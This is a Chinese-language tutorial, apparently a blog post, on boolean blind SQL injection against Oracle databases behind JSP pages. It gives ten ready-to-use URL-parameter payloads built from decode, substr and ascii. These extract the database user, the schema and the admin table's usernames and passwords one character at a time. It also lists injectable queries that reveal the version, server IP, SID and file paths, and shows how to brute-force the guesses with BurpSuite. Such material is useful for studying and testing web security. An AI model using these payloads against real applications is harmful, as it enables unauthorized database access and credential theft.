我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、Oracle+JSP 布尔型盲注入
1、Oracle 布尔型盲注入方法:2种
(1)方法1-使用decode: decode()函数+length()+sign()函数+substr()函数+ascii()函数/chr()函数
(2)方法2-不使用decode: length()+substr()函数+ascii()函数/chr()函数
2、盲注步骤:2步
(2)第二步:猜解数据长度
(2)第二步:逐个猜解字符
3、盲注原理:
利用页面的返回结果不同,来判断是否存在注入或注入的语句结果是否达到预期的效果!!!
二、decode 盲注入详解
1、decode()函数的语法
decode(字段或字段的运算,值1,值2,值3)
// 这个函数运行的机制是:当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3。
// 当然值1,值2,值3也可以是表达式
2、sign()函数的语法
sign(值/表达式)
// 这个函数根据括号内的值或表达式的的结果是0、正数还是负数,分别返回0、1、-1
// 0返回0
// 正数返回1
// 负数返回-1
3、decode()函数比较大小
select decode(sign(变量1-变量2),-1,变量1,变量2) from dual;
// 很明显这是一个取最小值的语句
// 例如:变量1=10,变量2=20,则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。
4、substr()函数语法
substr(string,start[,length])
// 截取字符串函数,length长度是可选的
5、chr()函数语法
chr(97)
// 返回a
6、ascii()函数语法
ascii(a)
// 返回97
7、decode()函数注入姿势
(1)猜解用户名长度-payload1:?id=1 and 6=(select length(user) from dual)--
(2)猜解用户名第一个字符的是否等于S,等于返回1,否则返回0-payload2:?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual)--
(3)猜解用户名第二个字符的是否等于ASCII码值对应为89的字符Y,等于返回1,否则返回0-payload3:?id=1 and 1=(select decode(substr(user,2,1),chr(89),1,0) from dual)-- (4)猜解用户名第三个字符的是否等于ASCII码值对应为83的字符Y,等于返回1,否则返回0-payload4:?id=1 and 1=(select decode(ascii(substr(user,3,1)),83,1,0) from dual)
(5)猜解当前库名长度-payload5:?id=1 and 3=(select length(owner) from all_tables where rownum=1)--
(6)猜解当前库名的第一个字符-payload6:?id=1 and 1=(select decode(ascii(substr((select owner from all_tables where rownum=1),1,1)),83,1,0) from dual)--
(7)猜解当前库名的第二个字符-payload7:?id=1 and 1=(select decode(sign(ascii(substr((select owner from all_tables where rownum=1),2,1))-89),0,1,-1) from dual)--
(8)猜解当前admin表的帐号和密码的长度-payload8:?id=1 and 37=(select length(username%7c%7cpassword) from admin where rownum=1)--
(9)猜解当前admin表的帐号和密码的第一个字符-payload9:?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin where rownum=1),1,1),'a',1,0) from dual)
(10)猜解当前admin表的帐号和密码的第二个字符-payload10:?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin where rownum=1),2,1),chr(100),1,0) from dual)
8、以上可替换的SQL语句
(1)获取当前数据库版本:select banner from sys.v_$version where rownum=1
(2)获取当前用户:select user from dual
(3)获取日志文件位置:select member from v$logfile where rownum=1
(4)获取Oracle服务器监听IP:select utl_inaddr.get_host_address from dual
(5)获取Oracle服务器sid实例名称(远程连接该服务的时候可能会需要):select instance_name from v$instance
(6)获取当前连接用户:select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual
(7)定位文件位置:select name FROM V$DATAFILE
(8)查库名:select owner from all_tables where rownum=1
(9)查库名(排除SYS库):select owner from all_tables where rownum=1 and owner <>'SYS'
(10)查表名:select table_name from user_tables where rownum=1
(11)查表面(排除ADMIN表):select table_name from user_tables where rownum=1 and table_name<>'ADMIN'
(12)查列名:select column_name from user_tab_columns where table_name='ADMIN' and rownum=1
(13)查列名(排除ID列):select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'
(14)查字段值(username||password):select username%7C%7Cpassword from admin
(15)查字段值(username||password)的第一条记录:select username%7C%7Cpassword from admin where rownum=1
三、不使用decode 盲注入示例
1、结合BurpSuite进行爆破盲注
(1)先猜解数据长度:?id=1 and 37=(select length(username%7c%7cpassword) from admin where rownum=1)-- # 对37进行爆破
(2)后逐个猜解字符对应的码值:?id=1 and (select (substr(username%7c%7cpassword,1,1)) from admin where rownum=1)='a' # 对a进行爆破